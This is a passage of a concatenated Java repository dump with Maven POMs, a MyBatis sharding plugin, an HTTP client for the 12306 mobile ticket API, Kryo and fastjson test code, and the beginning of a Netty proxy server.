on 2016/9/6. */ public class UtilFile { public static byte[] getFileContent(String filePath) { File file = new File(filePath); FileInputStream is = null; try { is = new FileInputStream(file); byte [] buffer = new byte[4096]; int read = 0; ByteArrayOutputStream os = new ByteArrayOutputStream(); while ( ( read = is.read(buffer)) >= 0 ) { if(read > 0) os.write(buffer,0,read); } is.close(); os.close(); return os.toByteArray(); } catch (Exception e) { e.printStackTrace(); } return null; } public static boolean writeToFile(String filePath, byte[] data) { File file = new File(filePath); FileOutputStream os = null; try { os = new FileOutputStream(filePath); os.write(data); os.close(); return true; } catch (Exception e) { e.printStackTrace(); } return false; } } <file_sep>/mybatis-test/mybatis-plugin/pom.xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <parent> <artifactId>split-table</artifactId> <groupId>mybatis-test</groupId> <version>1.0-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion> <artifactId>mybatis-plugin</artifactId> <dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>druid</artifactId> <version>1.0.14</version> </dependency> <dependency> <groupId>org.mybatis</groupId> <artifactId>mybatis</artifactId> <version>3.3.0</version> </dependency> <dependency> <groupId>org.mybatis</groupId> <artifactId>mybatis-spring</artifactId> <version>1.2.2</version> </dependency> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>5.1.35</version> </dependency> <dependency> <groupId>cglib</groupId> <artifactId>cglib-nodep</artifactId> <version>2.2.2</version> </dependency> <dependency> <groupId>asm</groupId> <artifactId>asm</artifactId> <version>3.3.1</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-core</artifactId> <version>4.2.3.RELEASE</version> </dependency> <dependency> <groupId>commons-lang</groupId> <artifactId>commons-lang</artifactId> <version>2.6</version> </dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-lang3</artifactId> <version>3.1</version> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-api</artifactId> <version>1.7.13</version> </dependency> </dependencies> </project><file_sep>/mybatis-test/spring-mybatis/pom.xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <parent> <groupId>mybatis-test</groupId> <artifactId>split-table</artifactId> <version>1.0-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion> <packaging>war</packaging> <artifactId>spring-mybatis</artifactId> <dependencies> <dependency> <groupId>mybatis-test</groupId> <artifactId>mybatis-plugin</artifactId> <version>1.0-SNAPSHOT</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-core</artifactId> <version>4.1.7.RELEASE</version> </dependency> <dependency> <groupId>org.aspectj</groupId> <artifactId>aspectjweaver</artifactId> <version>1.8.6</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-aop</artifactId> <version>4.1.7.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-web</artifactId> <version>4.1.7.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-webmvc</artifactId> <version>4.1.7.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>4.1.7.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-jdbc</artifactId> <version>4.1.7.RELEASE</version> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>druid</artifactId> <version>1.0.14</version> </dependency> <dependency> <groupId>org.mybatis</groupId> <artifactId>mybatis</artifactId> <version>3.3.0</version> </dependency> <dependency> <groupId>org.mybatis</groupId> <artifactId>mybatis-spring</artifactId> <version>1.2.2</version> </dependency> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>5.1.35</version> </dependency> <dependency> <groupId>cglib</groupId> <artifactId>cglib-nodep</artifactId> <version>2.2.2</version> </dependency> <dependency> <groupId>asm</groupId> <artifactId>asm</artifactId> <version>3.3.1</version> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>3.1.0</version> <scope>provided</scope> </dependency> </dependencies> <!-- 构建设置 --> <build> <resources> <resource> <directory>src/main/resources</directory> </resource> <resource> <directory>src/main/java</directory> <includes> <include>**/*.properties</include> <include>**/*.xml</include> <!-- <include>**/*.java</include> --> </includes> </resource> </resources> <pluginManagement> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-resources-plugin</artifactId> <version>2.6</version> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-surefire-plugin</artifactId> <version>2.14.1</version> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <version>3.1</version> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-assembly-plugin</artifactId> <version>2.4</version> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-jar-plugin</artifactId> <version>2.4</version> </plugin> <plugin> <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-maven-plugin</artifactId> </plugin> </plugins> </pluginManagement> <plugins> <!-- 资源编码UTF-8 --> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-resources-plugin</artifactId> <configuration> <encoding>UTF-8</encoding> </configuration> </plugin> <!-- install 安装时候跳过测试步骤,需要测试可以注释 --> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-surefire-plugin</artifactId> </plugin> <!-- 使用1.6级别编译;代码为UTF-8编码;只编译指定的位置 --> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <configuration> <source>1.8</source> <target>1.8</target> <verbose>false</verbose> <encoding>UTF-8</encoding> </configuration> </plugin> <!-- package的时候,单独打出source包出来,deploy的时候能够一同提交到库中 --> </plugins> </build> </project><file_sep>/code-test/pom.xml <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <parent> <artifactId>split-table</artifactId> <groupId>mybatis-test</groupId> <version>1.0-SNAPSHOT</version> <relativePath>../mybatis-test/pom.xml</relativePath> </parent> <modelVersion>4.0.0</modelVersion> <artifactId>code-test</artifactId> <version>1.0</version> <packaging>jar</packaging> <properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <version.spring>4.2.5.RELEASE</version.spring> <version.spring.boot>1.3.3.RELEASE</version.spring.boot> </properties> <name>code-test</name> <url>http://maven.apache.org</url> <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <configuration> <source>1.8</source> <target>1.8</target> </configuration> </plugin> </plugins> </build> <dependencies> <dependency> <groupId>org.apache.curator</groupId> <artifactId>apache-curator</artifactId> <version>2.11.1</version> </dependency> <dependency> <groupId>org.apache.curator</groupId> <artifactId>curator-framework</artifactId> <version>2.11.1</version> </dependency> <dependency> <groupId>org.apache.curator</groupId> <artifactId>curator-recipes</artifactId> <version>2.11.1</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>${version.spring}</version> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-autoconfigure</artifactId> <version>${version.spring.boot}</version> </dependency> <!--<dependency>--> <!--<groupId>org.jboss.netty</groupId>--> <!--<artifactId>netty</artifactId>--> <!--<version>3.2.2.Final</version>--> <!--</dependency>--> <dependency> <groupId>io.netty</groupId> <artifactId>netty-all</artifactId> <version>4.0.25.Final</version> </dependency> <dependency> <groupId>net.sf.json-lib</groupId> <artifactId>json-lib</artifactId> <version>2.4</version> </dependency> <dependency> <groupId>org.aspectj</groupId> <artifactId>aspectjrt</artifactId> <version>1.6.10</version> </dependency> <dependency> <groupId>org.aspectj</groupId> <artifactId>aspectjweaver</artifactId> <version>1.6.10</version> </dependency> <!--<dependency>--> <!--<groupId>io.netty</groupId>--> <!--<artifactId>netty</artifactId>--> <!--<version>3.7.0.Final</version>--> <!--</dependency>--> <!--<dependency>--> <!--<groupId>org.apache.curator</groupId>--> <!--<artifactId>apache-curator</artifactId>--> <!--<version>3.1.0</version>--> <!--</dependency>--> <!--<dependency>--> <!--<groupId>org.apache.curator</groupId>--> <!--<artifactId>curator-framework</artifactId>--> <!--<version>3.1.0</version>--> <!--</dependency>--> <!--<dependency>--> <!--<groupId>org.apache.curator</groupId>--> <!--<artifactId>curator-client</artifactId>--> <!--<version>3.1.0</version>--> <!--</dependency>--> <!--<dependency>--> <!--<groupId>org.apache.zookeeper</groupId>--> <!--<artifactId>apache-zookeeper</artifactId>--> <!--<version>3.4.6</version>--> <!--</dependency>--> <dependency> <groupId>org.apache.zookeeper</groupId> <artifactId>zookeeper</artifactId> <!--<version>3.4.8</version>--> <version>3.4.9</version> </dependency> <dependency> <groupId>com.esotericsoftware.kryo</groupId> <artifactId>kryo</artifactId> <version>2.24.0</version> </dependency> <dependency> <groupId>org.apache.httpcomponents</groupId> <artifactId>httpclient</artifactId> <version>4.5</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-core</artifactId> <version>${version.spring}</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-aop</artifactId> <version>${version.spring}</version> </dependency> <dependency> <groupId>cglib</groupId> <artifactId>cglib</artifactId> <version>2.2</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>${version.spring}</version> </dependency> <dependency> <groupId>io.netty</groupId> <artifactId>netty-all</artifactId> <version>4.1.5.Final</version> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.8</version> </dependency> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>3.8.1</version> <scope>test</scope> </dependency> <dependency> <groupId>io.netty</groupId> <artifactId>netty-all</artifactId> <version>4.1.5.Final</version> </dependency> <dependency> <groupId>org.projectlombok</groupId> <artifactId>lombok</artifactId> <version>1.16.8</version> </dependency> </dependencies> </project> <file_sep>/code-test/src/main/java/passport/JSONUtil.java //package passport; // //import net.sf.json.JSONArray; //import net.sf.json.JSONObject; //import org.apache.commons.lang.ArrayUtils; //import org.apache.commons.lang.StringUtils; //import org.apache.commons.logging.Log; //import org.apache.commons.logging.LogFactory; //import org.codehaus.jackson.map.ObjectMapper; //import org.codehaus.jackson.type.TypeReference; // ///** // * json工具类,具体用法见测试用例 // * // * @author <EMAIL> // * @since 2013-5-2 11:47 // */ //public class JSONUtil { // // public static void main(String[] args){ // String a= "{\n" + // " \"content\": \"和买姐,买红妹\",\n" + // " \"al\": 8,\n" + // " \"role\": 133,\n" + // " \"pics\": [\n" + // " {\n" + // " \"id\": 389703,\n" + // " \"images\": [\n" + // " {\n" + // " \"type\": 2,\n" + // " \"width\": 360,\n" + // " \"height\": 263,\n" + // " \"url\": \"http://m1.ykimg.com/0A020000151AF894AB4AC846FC8BDA3A\"\n" + // " },\n" + // " {\n" + // " \"type\": 1,\n" + // " \"width\": 500,\n" + // " \"height\": 366,\n" + // " \"url\": \"http://m1.ykimg.com/0A020000151AF894A46AB71656C0867D\"\n" + // " }\n" + // " ],\n" + // " \"descr\": \"\"\n" + // " }\n" + // " ]\n" + // "}"; // JSONObject json = JSONUtil.json2Object(a,JSONObject.class); // JSONArray j2 = (JSONArray)json.get("pics"); // JSONObject j3 = (JSONObject)j2.get(0); // JSONArray j4 = (JSONArray)j3.get("images"); // JSONObject pic= (JSONObject)j4.get(0); // System.out.println(pic); // } // // private final static Log logger = LogFactory.getLog(JSONUtil.class); // // private JSONUtil() { // } // // /** // * 从对象转换为JSON // * // * @param o // * @return // */ // public static String oject2Json(Object o) { // try { // return ObjectMapperFactory.getInstance().getObjectMapper().writeValueAsString(o); // } catch (Exception e) { // logger.error("对象序列化失败:" + e.getMessage(), e); // return ""; // } // } // // /** // * json反解成对象 // * // * @param json // * @param clazz // * @return // */ // public static <T> T json2Object(String json, Class<T> clazz) { // if (StringUtils.isBlank(json)) { // return null; // } // // try { // ObjectMapper mapper = ObjectMapperFactory.getInstance().getObjectMapper(); // return mapper.readValue(json, clazz); // } catch (Exception e) { // logger.error("对象反序列化失败:" + e.getMessage(), e); // return null; // } // } // // /** // * json反解成java泛型对象,可以是各种类型。比较强大。 // * // * <pre> // * 示例 new TypeReference(List<Chat>) // * </pre> // * // * @param json // * @param tr // * @return // */ // public static <T> T json2GenericObject(String json, TypeReference<T> tr) { // if (StringUtils.isBlank(json)) { // return null; // } // // try { // return ObjectMapperFactory.getInstance().getObjectMapper().readValue(json, tr); // } catch (Exception e) { // logger.error("对象反序列化失败:" + e.getMessage(), e); // return null; // } // } // // /** // * 序列化成json,包含所有key // * // * @param o // * @return // */ // public static JSONObject buildAllFields(Object o) { // return buildExcludeFields(o, ArrayUtils.EMPTY_STRING_ARRAY); // } // // /** // * 转换成jsonobject,包含其中某些key // * // * @param o // * @param fields // * @return // */ // public static JSONObject buildIncludeFields(Object o, String... fields) { // if (o == null || ArrayUtils.isEmpty(fields)) { // return new JSONObject(); // } // // JSONObject json = JSONObject.fromObject(oject2Json(o)); // JSONObject result = new JSONObject(); // for (String field : fields) { // if (json.containsKey(field)) { // result.put(field, json.get(field)); // } // } // return result; // } // // /** // * 转换成jsonobject,排除某些字段 // * // * @param o // * @param fields // * @return // */ // public static JSONObject buildExcludeFields(Object o, String... fields) { // if (o == null) { // return new JSONObject(); // } // // JSONObject json = JSONObject.fromObject(oject2Json(o)); // if (ArrayUtils.isNotEmpty(fields)) { // for (String field : fields) { // if (json.containsKey(field)) { // json.remove(field); // } // } // } // return json; // } // // /** // * 创建空的objectNode // * // * @return // */ // public static org.codehaus.jackson.node.ObjectNode createObjectNode() { // return ObjectMapperFactory.getInstance().getObjectMapper().createObjectNode(); // } // // /** // * 创建空的ArrayNode // * // * @return // */ // public static org.codehaus.jackson.node.ArrayNode createArrayNode() { // return ObjectMapperFactory.getInstance().getObjectMapper().createArrayNode(); // } //} <file_sep>/mybatis-test/mybatis-plugin/src/main/java/com/emirbobo/mybatis/myshard/MyShardingPlugin.java package com.emirbobo.mybatis.myshard; import org.apache.commons.lang.StringUtils; import org.apache.ibatis.executor.parameter.ParameterHandler; import org.apache.ibatis.executor.statement.BaseStatementHandler; import org.apache.ibatis.executor.statement.RoutingStatementHandler; import org.apache.ibatis.executor.statement.StatementHandler; import org.apache.ibatis.logging.jdbc.ConnectionLogger; import org.apache.ibatis.mapping.BoundSql; import org.apache.ibatis.mapping.MappedStatement; import org.apache.ibatis.plugin.*; import org.springframework.util.ReflectionUtils; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.sql.Connection; import java.util.Map; import java.util.Properties; /** * Created by Administrator on 2016/9/1. */ @Intercepts({@Signature(type = StatementHandler.class, method = "prepare", args = {Connection.class})}) public class MyShardingPlugin implements Interceptor { public static final String SHARD_TABLE_PROFIX = "T_"; public static final int SHARD_MOD = 50; private static final Field DELEGATE_FIELD = ReflectionUtils.findField(RoutingStatementHandler.class, "delegate"); private static final Field MAPPEDSTATEMENT_FIELD = ReflectionUtils.findField(BaseStatementHandler.class, "mappedStatement"); public static final Field SQL_FIELD = ReflectionUtils.findField(BoundSql.class, "sql"); static { ReflectionUtils.makeAccessible(DELEGATE_FIELD); ReflectionUtils.makeAccessible(MAPPEDSTATEMENT_FIELD); ReflectionUtils.makeAccessible(SQL_FIELD); } private Properties properties; private Connection unwrapMybatisConnection(Connection connection) { if (Proxy.isProxyClass(connection.getClass())) { InvocationHandler handler = Proxy.getInvocationHandler(connection); if (handler instanceof ConnectionLogger) { return ((ConnectionLogger) handler).getConnection(); } } return connection; } @Override public Object intercept(Invocation invocation) throws Throwable { Connection conn = (Connection) invocation.getArgs()[0]; Connection realConn = unwrapMybatisConnection(conn); rewriteSql(invocation); return invocation.proceed(); } private void rewriteSql(Invocation invocation) { StatementHandler statementHandler = (StatementHandler) invocation.getTarget(); BoundSql boundSql = statementHandler.getBoundSql(); Object parameterObject = boundSql.getParameterObject(); if (parameterObject == null) { log("parameterObject is null"); } String sqlStr = boundSql.getSql(); if (StringUtils.isBlank(sqlStr)) return; String[] sqls = sqlStr.split(" "); if (sqls == null || sqls.length == 0) return; StringBuffer newsql = new StringBuffer(); for (String sqlsplit : sqls) { sqlsplit = sqlsplit.trim(); if (sqlsplit.toUpperCase().startsWith(SHARD_TABLE_PROFIX)) { sqlsplit += "_" + 0; } newsql.append(sqlsplit.trim()); newsql.append(" "); } if (newsql.length() > 0) { log("Old SQL : " + boundSql.getSql()); ReflectionUtils.makeAccessible(SQL_FIELD); ReflectionUtils.setField(SQL_FIELD, boundSql, newsql.toString()); log("Replace SQL To : " + boundSql.getSql()); } } public Object plugin(Object target) { return Plugin.wrap(target, this); } public void setProperties(Properties properties) { this.properties = properties; properties.list(System.out); } public void log(String s) { System.out.println("MyShardingPlugin-Log : "+s); } } <file_sep>/httpapp/src/main/java/lsy/app/http/task/Task.java package lsy.app.http.task; import lsy.app.http.pack.Pack; import lsy.app.http.pack.PackCommon; import java.util.ArrayList; import java.util.List; /** * Created by Administrator on 2016/9/12. * http���񣬷���һ�������� */ public abstract class Task { private boolean finish = false; public Task() { } List<Pack> packs = new ArrayList<>();//�������� int curPackIndex = 0; public boolean isFinish() { return finish; } /** * �ڰ�����ĩβ��ӷ��� * @param packArr */ public void appendPack(Pack... packArr) { if(packArr != null && packArr.length > 0) { for(Pack pack : packArr) packs.add(pack); } } public Pack nextPack() { if(finish) return null; Pack pack = null; if(curPackIndex >= 0 && curPackIndex < packs.size()) { pack = packs.get(curPackIndex); curPackIndex++; // if(curPackIndex == packs.size())//�˴�����鵱ǰ�Ƿ����һ��������������п��ܻ������µķ��� // finish = true; } else finish = true; return pack; } public static Task createCommonTask(Pack ... packArr) { TaskCommon task = new TaskCommon(); task.appendPack(packArr); return task; } } <file_sep>/code-test/src/main/java/influxdb/WriteData.java package influxdb; import passport.HttpRequestUnit; import util.DateUtil; import java.io.*; import java.util.Date; import java.util.HashMap; import java.util.Map; /** * Created by Mtime on 2016/12/6. */ public class WriteData { private static final String url = "http://192.168.50.85:8086/write"; private static final String serverId = "chat03"; public static void main(String [] args){ try { readFileByLines("D:\\export\\client03.log"); } catch (Exception e) { e.printStackTrace(); } } /** * 以行为单位读取文件,常用于读面向行的格式化文件 */ public static void readFileByLines(String fileName) throws Exception { File file = new File(fileName); BufferedReader reader = null; try { reader = new BufferedReader(new FileReader(file)); String tempString = null; // 一次读入一行,直到读入null为文件结束 while ((tempString = reader.readLine()) != null) { // 显示行号 // System.out.println(tempString); System.out.println(process(tempString)); } reader.close(); } finally { if (reader != null) { try { reader.close(); } catch (IOException e1) { } } } } private static String process(String tempString){ StringBuffer sb = new StringBuffer(); try { String[] ts = tempString.split(" "); Date date = DateUtil.parseDate(ts[0] + " " + ts[1]); String dateStr = date.getTime() + "000000"; sb.append(serverId).append(" ").append("value=").append(Integer.parseInt(ts[9].replace(",", ""))).append(" ").append(dateStr); }catch(Exception e){ return ""; } return sb.toString(); } } <file_sep>/httpapp/src/main/java/lsy/app/main/WebFetchTest.java package lsy.app.main; import lsy.app.http.pack.Pack; import lsy.app.http.task.Task; import lsy.app.http.task.TaskLogin; import lsy.app.http.task.TaskReady; import lsy.util.UtilConsole; /** * Created by Administrator on 2016/9/12. */ public class WebFetchTest { AppClient appClient = new AppClient(); public static void main(String[] args) { WebFetchTest testor = new WebFetchTest(); testor.execute(); } private void execute() { if(! appClient.isInit()) { UtilConsole.log("AppClient exit"); return; } UtilConsole.log("AppClient 启动"); Task task = new TaskReady(); appClient.executeTask( Task.createCommonTask( Pack.createCommonTask("https://wwwwwwwwwwwwwww") ,Pack.createCommonTask("https://wwwwwwwwwwwwwww",true) )); } } <file_sep>/httpapp/src/main/java/lsy/app/http/pack/PackQuery.java package lsy.app.http.pack; import lsy.app.main.AppClient; import lsy.util.UtilConsole; import org.apache.http.StatusLine; /** * Created by Administrator on 2016/9/12. * ����ò�Ƶ�¼ǰ���Ȳ�ѯ������״̬ * Ŀǰ��������11����ʾ���ܵ�¼ */ public class PackQuery extends Pack { public PackQuery() { super("/otsmobile/apps/services/api/MobileTicket/android/query"); } @Override public void handleResult(AppClient appClient, StatusLine statusLine, String response) { if(401 == statusLine.getStatusCode() ) { UtilConsole.error("HTTP/1.1 401 Unauthorized , Check and update [WL-Instance-Id]"); int start = response.indexOf("WL-Instance-Id"); if(start > 0) { start += "WL-Instance-Id".length()+1; start = response.indexOf("\"",start);//As the follow example text , the double quote before jr5gnh64e9ks7gfn0fmb0b86vi if(start > 0) { start ++; int end = response.indexOf("\"",start);//As the follow example text , the double quote before jr5gnh64e9ks7gfn0fmb0b86vi if(end >= 0) { String WL_Instance_Id = response.substring(start,end); UtilConsole.info("Find New WL-Instance-Id : "+WL_Instance_Id); //����header appClient.addFixHeader("WL-Instance-Id",WL_Instance_Id); appClient.addFixHeader("x-wl-app-version", "2.4"); //���һ��query�� appClient.getCurTask().appendPack(new PackQuery().setInfo("Append updated fix-header [WL-Instance-Id] = ["+WL_Instance_Id+"]")); } } } } // HTTP/1.1 401 Unauthorized // Response content length: 249 /*-secure- {"challenges":{"wl_antiXSRFRealm":{"WL-Instance-Id":"jr5gnh64e9ks7gfn0fmb0b86vi"},"morCustomRealm":{"WL-Challenge-Data":"922463N838416C880472N417420C998226X5B9393E5S484584C637647C409457N695389X384ABC1CS216699C801621C782957X2E3339D2S"}}}*/ } } <file_sep>/httpapp/src/main/java/lsy/app/http/pack/Pack.java package lsy.app.http.pack; import lsy.app.main.AppClient; import org.apache.http.StatusLine; import java.util.HashMap; /** * Created by Administrator on 2016/9/12. */ abstract public class Pack { private final String url; private final boolean post; private final HashMap<String,String> headers = new HashMap<>(); private String info; protected Pack(String url,boolean post) { if( ! url.startsWith("http")) { this.url = "https://mobile.12306.cn" + url; } else this.url = url; this.post = post; addHeader("Connection", "keep-alive"); } /*** * form post pack * @param url */ protected Pack(String url) { this(url, true); addHeader("Content-type", "application/x-www-form-urlencoded; charset=UTF-8"); } public Pack addHeader(String n,String v) { headers.put(n,v); return this; } public HashMap<String, String> getHeaders() { return headers; } public abstract void handleResult(AppClient appClient, StatusLine statusLine, String response);//�ص������� public String getUrl() { return url; } public boolean isPost() { return post; } public Pack setInfo(String info) { this.info = info; return this; } public String getInfo() { return info; } public static PackCommon createCommonTask(String url) { return new PackCommon(url,false); } public static PackCommon createCommonTask(String url, boolean post) { return new PackCommon(url,post); } } <file_sep>/code-test/src/main/java/lambda/ClassRef.java package lambda; import java.util.Arrays; import java.util.Comparator; /** * Created by Mtime on 2016/12/12. */ public class ClassRef { public static void main(String []args){ ClassRef cr = new ClassRef(); Person [] persons = new Person[]{cr.new Person("a",11),cr.new Person("b",12),cr.new Person("c",13),cr.new Person("d",14)}; Comparator<Person> cp = Comparator.comparing(p -> p.getName()); Arrays.sort(persons,cp); } class Person{ public Person(String name,int age){ this.name = name; this.age = age; } String name; int age; public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } } } <file_sep>/code-test/src/main/java/maven/pomdependcies/DependencyTreeToXml.java package maven.pomdependcies; import javax.swing.*; import javax.swing.plaf.FileChooserUI; import javax.swing.plaf.basic.BasicInternalFrameTitlePane; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.IOException; import java.io.InputStream; /** * Created by Administrator on 2016/9/2. */ public class DependencyTreeToXml { public static void main(String[] args) { DependencyTreeToXml o = new DependencyTreeToXml(); o.execute(); } private void execute() { JFileChooser chooser = new JFileChooser(); chooser.setApproveButtonText("确定"); //chooser.setFileSelectionMode(JFileChooser.DIRECTORIES_ONLY); //设置只选择目录 chooser.setCurrentDirectory(new File(".")); int returnVal = chooser.showOpenDialog(null);//SwingWorkerUI.this); System.out.println("returnVal="+returnVal); if (returnVal != JFileChooser.APPROVE_OPTION) return; File file = chooser.getSelectedFile(); File dir = file.getParentFile(); if(file.getName().toLowerCase().equals("pom.xml")) {//选择pom,则执行 "mvn dependency:tree " 获得输出 Runtime runtime = Runtime.getRuntime(); try { String[] commands = new String[]{"mvn.cmd","dependency:tree"}; Process process = runtime.exec(commands,null,dir); // Process process = runtime.exec("mvn.cmd dependency:tree",null,dir); // Process process = runtime.exec("dir",null,dir); InputStream is = process.getInputStream(); ByteArrayOutputStream os = new ByteArrayOutputStream(); byte[] buf = new byte[1024]; int read; while ( (read = is.read()) >= 0) { if(read > 0) { os.write(buf,0,read); } } os.close(); log("output : "+new String(os.toByteArray())); } catch (IOException e) { e.printStackTrace(); } System.out.println("You chose to open this file: "+ chooser.getSelectedFile().getName()); } } private void log(String s) { System.out.println(s); } } <file_sep>/code-test/src/main/java/fanxing/GiftMain.java package fanxing; /** * Created by Mtime on 2017/1/18. */ public class GiftMain { public static void main(String [] args){ // GiftBase gb = new GiftBase(new GiftSub()); // gb.doProcess(); } } <file_sep>/code-test/src/main/java/testkryo/Testor.java package testkryo; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.esotericsoftware.kryo.Kryo; import com.esotericsoftware.kryo.Registration; import com.esotericsoftware.kryo.io.Input; import com.esotericsoftware.kryo.io.Output; import com.google.common.collect.Maps; import io.netty.util.HashedWheelTimer; import io.netty.util.Timeout; import io.netty.util.TimerTask; import lombok.Data; import util.TestModel; import util.UtilFile; import util.UtilLog; import java.lang.reflect.Field; import java.util.Map; import java.util.Random; import java.util.Set; import java.util.concurrent.*; /** * Created by Administrator on 2016/9/6. */ public class Testor { public static void test(){ try{ if(true) { throw new Exception(); } System.out.println("111"); }catch(Exception e){ throw new RuntimeException(); } } public static void main(String[] args) { String json = "{\"roomNum\":\"asbs\",\"signals\":[{\"cmdCode\":101,\"messageId\":\"xxxxxxxxx\"},{\"cmdCode\":102,\"messageId\":\"xxxxxxxxx\"}]}"; // TestModel testModel =JSONObject.parseObject(json,TestModel.class); // System.out.println(testModel); JSONObject jsonObject = JSONObject.parseObject(json); System.out.println(jsonObject.get("roomNum")); System.out.println(JSONObject.parseObject(jsonObject.getJSONArray("signals").get(0).toString()).get("cmdCode")); System.out.println(jsonObject.getJSONArray("signals").get(1)); Map<String,String> test = Maps.newHashMap(); jsonObject.getJSONArray("signals").forEach(e -> test.put(JSONObject.parseObject(e+"").get("cmdCode").toString(),JSONObject.parseObject(e+"").get("messageId").toString())); Set t = test.entrySet(); } @Data public static class RoomNum{ String roomNum; } private static void method(Integer a, Integer b) { try { Class<?> clazz = a.getClass(); Field field = clazz.getDeclaredField("value"); field.setAccessible(true); field.set(a, 100); field.set(b, 200); } catch (Exception e) { e.printStackTrace(); } } public static void main1(String[] args) { // test(); StringBuffer sb = new StringBuffer("123123"); System.out.println(sb.deleteCharAt(sb.length()-1)); // Testor testor = new Testor(); //// boolean needSerializeClassInfo = false;//是否存储类信息 // boolean needSerializeClassInfo = true;//是否存储类信息 // String filePath = "student.kryo."+ (needSerializeClassInfo ? "haveClassInfo" : "noClassInfo"); // testor.testSerialize(needSerializeClassInfo,filePath); // testor.testReverseSerialize(needSerializeClassInfo,filePath); } private void testSerialize(boolean needSerializeClassInfo, String filePath) { Kryo kryo = new Kryo(); // kryo.setReferences(true); // kryo.setRegistrationRequired(true); // kryo.setInstantiatorStrategy(new StdInstantiatorStrategy()); // 注册类 Output output = new Output(1, 4096); Student student = new Student("bush", "man", 26); if(needSerializeClassInfo) kryo.writeClassAndObject(output, student); else kryo.writeObject(output, student); byte[] bb = output.toBytes(); UtilFile.writeToFile(filePath, bb); } private void testReverseSerialize(boolean needSerializeClassInfo, String filePath) { Kryo kryo = new Kryo(); Input input = null; byte[] data = UtilFile.getFileContent(filePath); input = new Input(data); Student student = null; if(needSerializeClassInfo) { student = (Student) kryo.readClassAndObject(input); } else { student = (Student) kryo.readObject(input, Student.class); } UtilLog.log(student.getName() + "," + student.getSex()+ "," + student.getAge()); input.close(); } } <file_sep>/httpapp/src/main/java/lsy/proxy/StationHttpProxyServer.java package lsy.proxy; import io.netty.bootstrap.ServerBootstrap; import io.netty.channel.Channel; import io.netty.channel.ChannelOption; import io.netty.channel.EventLoopGroup; import io.netty.channel.group.ChannelGroup; import io.netty.channel.group.DefaultChannelGroup; import io.netty.channel.nio.NioEventLoopGroup; import io.netty.channel.socket.nio.NioServerSocketChannel; import io.netty.handler.logging.LogLevel; import io.netty.handler.logging.LoggingHandler; import io.netty.handler.ssl.SslContext; import io.netty.handler.ssl.util.SelfSignedCertificate; import io.netty.util.concurrent.GlobalEventExecutor; import lsy.station.StationHttpClientManager; /** * Created with IntelliJ IDEA. * User: Administrator * Date: 14-7-15 * Time: 下午8:22 * To change this template use File | Settings | File Templates. */ public class StationHttpProxyServer { public final static ChannelGroup allChannels = new DefaultChannelGroup(GlobalEventExecutor.INSTANCE); public StationHttpProxyServer() { } public void start(StationHttpClientManager httpClientManager) throws Exception { boolean SSL = false; int PORT = 9988; // Configure SSL. final SslContext sslCtx; if (SSL) { SelfSignedCertificate ssc = new SelfSignedCertificate(); sslCtx = SslContext.newServerContext(ssc.certificate(), ssc.privateKey()); } else { sslCtx = null; } // Configure the server. EventLoopGroup bossGroup = new NioEventLoopGroup(1); EventLoopGroup workerGroup = new NioEventLoopGroup(); try { 